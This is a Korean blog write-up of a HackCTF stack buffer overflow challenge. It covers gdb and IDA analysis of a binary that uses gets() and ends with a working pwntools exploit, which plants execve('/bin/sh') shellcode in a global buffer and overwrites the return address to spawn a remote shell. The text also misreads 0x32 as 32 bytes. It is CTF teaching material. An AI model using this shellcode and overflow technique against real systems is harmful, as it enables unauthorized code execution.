Write-up/HACKCTF

HACKCTF - 내 버퍼가 흘러넘친다!!!

da1seun9 2020. 12. 2. 04:28

문제

내 버퍼가 흘러넘친다 라면서 prob1파일과 접속 주소를 준다.
prob1을 실행하니까 Name과 input을 입력하란다.

a를 입력하고 끝났다. segmentation fault가 났다.

checksec으로 보호기법을 확인해보자

gdb로 함수 어떤게 있는지 확인을 해보자

아무것도 걸려있지 않다.

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  read@plt
0x08048380  printf@plt
0x08048390  gets@plt
0x080483a0  __libc_start_main@plt
0x080483b0  setvbuf@plt
0x080483c0  __gmon_start__@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  main
0x08048530  __libc_csu_init
0x08048590  __libc_csu_fini
0x08048594  _fini

main함수가 있으니 main함수를 보도록 하자

프로그램 분석

ida로 먼저 main을 확인을 한 후에 보자.

ida-main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 0x32u);
  printf("input : ");
  gets(&s);
  return 0;
}

read함수와 gets함수를 쓴다.

read()
ssize_t read(int fd, void *buf, size_t nbytes);
int fd : 읽을 파일의 파일 디스크립터
void *buf : 읽어들인 데이터를 저장할 버퍼(배열)
size_t nbytes : 읽어들일 데이터의 최대 길이 (buf의 길이보다 길어선 안됨)

여기서 read함수는 데이터를 저장할 name에다가 32바이트만큼 넣는다.

gdb-main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080484cb <+0>:    push   ebp
   0x080484cc <+1>:    mov    ebp,esp
   0x080484ce <+3>:    sub    esp,0x14
   0x080484d1 <+6>:    mov    eax,ds:0x804a040
   0x080484d6 <+11>:    push   0x0
   0x080484d8 <+13>:    push   0x2
   0x080484da <+15>:    push   0x0
   0x080484dc <+17>:    push   eax
   0x080484dd <+18>:    call   0x80483b0 <setvbuf@plt>
   0x080484e2 <+23>:    add    esp,0x10
   0x080484e5 <+26>:    push   0x80485b0
   0x080484ea <+31>:    call   0x8048380 <printf@plt>
   0x080484ef <+36>:    add    esp,0x4
   0x080484f2 <+39>:    push   0x32
   0x080484f4 <+41>:    push   0x804a060
   0x080484f9 <+46>:    push   0x0
   0x080484fb <+48>:    call   0x8048370 <read@plt>
   0x08048500 <+53>:    add    esp,0xc
   0x08048503 <+56>:    push   0x80485b8
   0x08048508 <+61>:    call   0x8048380 <printf@plt>
   0x0804850d <+66>:    add    esp,0x4
   0x08048510 <+69>:    lea    eax,[ebp-0x14]
   0x08048513 <+72>:    push   eax
   0x08048514 <+73>:    call   0x8048390 <gets@plt>
   0x08048519 <+78>:    add    esp,0x4
   0x0804851c <+81>:    mov    eax,0x0
   0x08048521 <+86>:    leave  
   0x08048522 <+87>:    ret    
End of assembler dump.

지금 버퍼가 터지는 곳은 gets함수의 s변수에서 터진다. <main+69>에서 eax에 [ebp-0x14]의 주소를 넣는다.
그 후에 push eax를 하는데 이 eax가 변수 s이다.
eax가 가리키는 주소의 버퍼가 ebp-0x14 이므로 a를 20번 이상 넣으면 버퍼가 터진다.
이걸 이용하여 문제를 풀어보자.

공격방법

gets에서 버퍼가 터지는 걸 이용해서 read함수에 인자로 들어간 name(0x804a060)에 32바이트로 받으니까 32바이트보다 길이가 작은 쉘코드를 넣으면 될 것 같다.

지금 버퍼의 상황은 이렇다.

결과

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3003)

e = ELF("./prob1")

pay = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.send(pay)

pay2 = "A" * 24

pay2 += "\x60\xa0\x04\x08"

p.sendline(pay2)
p.interactive()

변수 s에 A를 20 + SFP(4)까지 해서 24번 넣는다.

그 후에 return address부분에 name의 주소를 넣으면 쉘코드가 실행된다.